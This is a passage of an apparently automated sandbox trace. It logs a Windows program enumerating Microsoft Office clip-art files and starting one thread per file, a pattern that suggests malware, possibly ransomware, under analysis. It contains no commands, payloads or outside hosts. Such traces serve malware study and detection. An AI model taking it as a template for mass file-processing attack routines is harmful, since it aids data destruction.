cFileName="J0211949.WMF", cAlternateFileName="")) returned 1 [0097.653] wcscmp (_String1="J0211949.WMF", _String2=".") returned 1 [0097.653] wcscmp (_String1="J0211949.WMF", _String2="..") returned 1 [0097.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a2c0 [0097.653] wcscpy (in: _Dest=0x1b86a2c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.654] wcscat (in: _Dest=0x1b86a2c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.654] wcscat (in: _Dest=0x1b86a2c0, _Source="J0211949.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" [0097.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a2c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0097.655] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50527800, ftCreationTime.dwHighDateTime=0x1be5610, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50527800, ftLastWriteTime.dwHighDateTime=0x1be5610, nFileSizeHigh=0x0, nFileSizeLow=0x11be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212219.WMF", cAlternateFileName="")) returned 1 [0097.655] wcscmp (_String1="J0212219.WMF", _String2=".") returned 1 [0097.655] wcscmp (_String1="J0212219.WMF", _String2="..") returned 1 [0097.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a350 [0097.655] wcscpy (in: _Dest=0x1b86a350, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.655] wcscat (in: _Dest=0x1b86a350, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.655] wcscat (in: _Dest=0x1b86a350, _Source="J0212219.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" [0097.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0097.656] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56952400, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56952400, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x248e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212661.WMF", cAlternateFileName="")) returned 1 [0097.656] wcscmp (_String1="J0212661.WMF", _String2=".") returned 1 [0097.656] wcscmp (_String1="J0212661.WMF", _String2="..") returned 1 [0097.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a3e0 [0097.657] wcscpy (in: _Dest=0x1b86a3e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.657] wcscat (in: _Dest=0x1b86a3e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.657] wcscat (in: _Dest=0x1b86a3e0, _Source="J0212661.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" [0097.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a3e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0097.658] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6ca800, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e6ca800, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0xb7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212701.WMF", cAlternateFileName="")) returned 1 [0097.658] wcscmp (_String1="J0212701.WMF", _String2=".") returned 1 [0097.658] wcscmp (_String1="J0212701.WMF", _String2="..") returned 1 [0097.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a470 [0097.658] wcscpy (in: _Dest=0x1b86a470, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.658] wcscat (in: _Dest=0x1b86a470, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.658] wcscat (in: _Dest=0x1b86a470, _Source="J0212701.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" [0097.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0097.659] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7a700, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdae7a700, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x2424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212957.WMF", cAlternateFileName="")) returned 1 [0097.659] wcscmp (_String1="J0212957.WMF", _String2=".") returned 1 [0097.659] wcscmp (_String1="J0212957.WMF", _String2="..") returned 1 [0097.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a500 [0097.659] wcscpy (in: _Dest=0x1b86a500, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.659] wcscat (in: _Dest=0x1b86a500, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.659] wcscat (in: _Dest=0x1b86a500, _Source="J0212957.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" [0097.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634 [0097.660] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8726e600, ftCreationTime.dwHighDateTime=0x1be59a2, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8726e600, ftLastWriteTime.dwHighDateTime=0x1be59a2, nFileSizeHigh=0x0, nFileSizeLow=0x68ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214098.WAV", cAlternateFileName="")) returned 1 [0097.660] wcscmp (_String1="J0214098.WAV", _String2=".") returned 1 [0097.660] wcscmp (_String1="J0214098.WAV", _String2="..") returned 1 [0097.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a590 [0097.660] wcscpy (in: _Dest=0x1b86a590, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.660] wcscat (in: _Dest=0x1b86a590, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.660] wcscat (in: _Dest=0x1b86a590, _Source="J0214098.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" [0097.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0097.661] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ba5a00, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32ba5a00, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215086.WMF", cAlternateFileName="")) returned 1 [0097.661] wcscmp (_String1="J0215086.WMF", _String2=".") returned 1 [0097.661] wcscmp (_String1="J0215086.WMF", _String2="..") returned 1 [0097.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a620 [0097.661] wcscpy (in: _Dest=0x1b86a620, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.662] wcscat (in: _Dest=0x1b86a620, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.662] wcscat (in: _Dest=0x1b86a620, _Source="J0215086.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" [0097.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0097.663] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c4ec00, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35c4ec00, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x3138, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216516.WMF", cAlternateFileName="")) returned 1 [0097.663] wcscmp (_String1="J0216516.WMF", _String2=".") returned 1 [0097.663] wcscmp (_String1="J0216516.WMF", _String2="..") returned 1 [0097.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a6b0 [0097.663] wcscpy (in: _Dest=0x1b86a6b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.663] wcscat (in: _Dest=0x1b86a6b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.663] wcscat (in: _Dest=0x1b86a6b0, _Source="J0216516.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" [0097.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a6b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0097.664] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e7ca500, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e7ca500, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x1c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216588.WMF", cAlternateFileName="")) returned 1 [0097.664] wcscmp (_String1="J0216588.WMF", _String2=".") returned 1 [0097.664] wcscmp (_String1="J0216588.WMF", _String2="..") returned 1 [0097.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a740 [0097.664] wcscpy (in: _Dest=0x1b86a740, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.664] wcscat (in: _Dest=0x1b86a740, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.664] wcscat (in: _Dest=0x1b86a740, _Source="J0216588.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" [0097.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0097.665] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3ba100, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xff3ba100, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x5d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216724.WMF", cAlternateFileName="")) returned 1 [0097.665] wcscmp (_String1="J0216724.WMF", _String2=".") returned 1 [0097.665] wcscmp (_String1="J0216724.WMF", _String2="..") returned 1 [0097.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a7d0 [0097.666] wcscpy (in: _Dest=0x1b86a7d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.666] wcscat (in: _Dest=0x1b86a7d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.666] wcscat (in: _Dest=0x1b86a7d0, _Source="J0216724.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" [0097.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a7d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0097.667] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825cf700, ftCreationTime.dwHighDateTime=0x1be6c1b, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x825cf700, ftLastWriteTime.dwHighDateTime=0x1be6c1b, nFileSizeHigh=0x0, nFileSizeLow=0x2dc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216858.WMF", cAlternateFileName="")) returned 1 [0097.667] wcscmp (_String1="J0216858.WMF", _String2=".") returned 1 [0097.667] wcscmp (_String1="J0216858.WMF", _String2="..") returned 1 [0097.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a860 [0097.667] wcscpy (in: _Dest=0x1b86a860, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.667] wcscat (in: _Dest=0x1b86a860, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.667] wcscat (in: _Dest=0x1b86a860, _Source="J0216858.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" [0097.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0097.668] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb3500, ftCreationTime.dwHighDateTime=0x1be6c1d, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8cb3500, ftLastWriteTime.dwHighDateTime=0x1be6c1d, nFileSizeHigh=0x0, nFileSizeLow=0x1aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217698.WMF", cAlternateFileName="")) returned 1 [0097.668] wcscmp (_String1="J0217698.WMF", _String2=".") returned 1 [0097.668] wcscmp (_String1="J0217698.WMF", _String2="..") returned 1 [0097.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a8f0 [0097.668] wcscpy (in: _Dest=0x1b86a8f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.668] wcscat (in: _Dest=0x1b86a8f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.668] wcscat (in: _Dest=0x1b86a8f0, _Source="J0217698.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" [0097.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0097.669] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfdb600, ftCreationTime.dwHighDateTime=0x1be7a36, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bfdb600, ftLastWriteTime.dwHighDateTime=0x1be7a36, nFileSizeHigh=0x0, nFileSizeLow=0x3838, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0221903.WMF", cAlternateFileName="")) returned 1 [0097.669] wcscmp (_String1="J0221903.WMF", _String2=".") returned 1 [0097.669] wcscmp (_String1="J0221903.WMF", _String2="..") returned 1 [0097.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a980 [0097.669] wcscpy (in: _Dest=0x1b86a980, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.669] wcscat (in: _Dest=0x1b86a980, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.669] wcscat (in: _Dest=0x1b86a980, _Source="J0221903.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" [0097.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c [0097.670] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7bae00, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d7bae00, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222015.WMF", cAlternateFileName="")) returned 1 [0097.670] wcscmp (_String1="J0222015.WMF", _String2=".") returned 1 [0097.670] wcscmp (_String1="J0222015.WMF", _String2="..") returned 1 [0097.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86aa10 [0097.670] wcscpy (in: _Dest=0x1b86aa10, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.670] wcscat (in: _Dest=0x1b86aa10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.671] wcscat (in: _Dest=0x1b86aa10, _Source="J0222015.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" [0097.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86aa10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0097.672] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fde0800, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fde0800, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222017.WMF", cAlternateFileName="")) returned 1 [0097.672] wcscmp (_String1="J0222017.WMF", _String2=".") returned 1 [0097.672] wcscmp (_String1="J0222017.WMF", _String2="..") returned 1 [0097.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86aaa0 [0097.672] wcscpy (in: _Dest=0x1b86aaa0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.672] wcscat (in: _Dest=0x1b86aaa0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.673] wcscat (in: _Dest=0x1b86aaa0, _Source="J0222017.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" [0097.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86aaa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974 [0097.674] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82406200, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82406200, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222019.WMF", cAlternateFileName="")) returned 1 [0097.674] wcscmp (_String1="J0222019.WMF", _String2=".") returned 1 [0097.674] wcscmp (_String1="J0222019.WMF", _String2="..") returned 1 [0097.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86ab30 [0097.674] wcscpy (in: _Dest=0x1b86ab30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0097.674] wcscat (in: _Dest=0x1b86ab30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0097.674] wcscat (in: 